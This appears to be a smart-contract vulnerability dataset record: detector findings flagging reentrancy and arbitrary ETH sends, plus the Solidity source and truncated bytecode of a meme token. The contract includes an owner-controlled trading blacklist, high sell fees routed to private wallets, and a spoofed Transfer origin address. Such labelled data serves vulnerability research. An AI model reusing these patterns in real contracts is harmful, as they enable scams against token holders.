{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,272
0xb7627d75fffbcd9033f70104b21a27bf382d1f71
// $FlokiEver // Telegram: https://t.me/flokievertoken // No Presale, No Dev Tokens. 100% LP. // LP Lock immediately on launch. // Ownership will be renounced after launch. // ________ __ _ ______ // / ____/ /___ / /__(_) ____/ _____ _____ // / /_ / / __ \/ //_/ / __/ | | / / _ \/ ___/ // / __/ / / /_/ / ,< / / /___ | |/ / __/ / // /_/ /_/\____/_/|_/_/_____/ |___/\___/_/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FlokiEverToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "FlokiEverToken"; string private constant _symbol = "FlokiE"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 2; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 2; _teamFee = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function addLiquidityETH() external onlyOwner() { require(!tradingOpen, "Liquidity already added"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063d543dbeb146103a4578063dd62ed3e146103cd578063ed9953071461040a57610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103cb60048036038101906103c691906129f2565b610b78565b005b3480156103d957600080fd5b506103f460048036038101906103ef9190612898565b610cc4565b6040516104019190612f5f565b60405180910390f35b34801561041657600080fd5b5061041f610d4b565b005b60606040518060400160405280600e81526020017f466c6f6b6945766572546f6b656e000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612edf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612edf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612edf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f466c6f6b69450000000000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612edf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612edf565b60405180910390fd5b60008111610c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4790612e7f565b60405180910390fd5b610c826064610c74836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610cb99190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d536112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd790612edf565b60405180910390fd5b601160149054906101000a900460ff1615610e30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2790612e9f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ec330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0957600080fd5b505afa158015610f1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f41919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa357600080fd5b505afa158015610fb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fdb919061286f565b6040518363ffffffff1660e01b8152600401610ff8929190612d0f565b602060405180830381600087803b15801561101257600080fd5b505af1158015611026573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104a919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110d330610786565b6000806110de61092a565b426040518863ffffffff1660e01b815260040161110096959493929190612d61565b6060604051808303818588803b15801561111957600080fd5b505af115801561112d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111529190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506000601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611257929190612d38565b602060405180830381600087803b15801561127157600080fd5b505af1158015611285573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a991906129c9565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f3f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612eff565b60405180910390fd5b6002600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576002600a819055506014600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612ebf565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957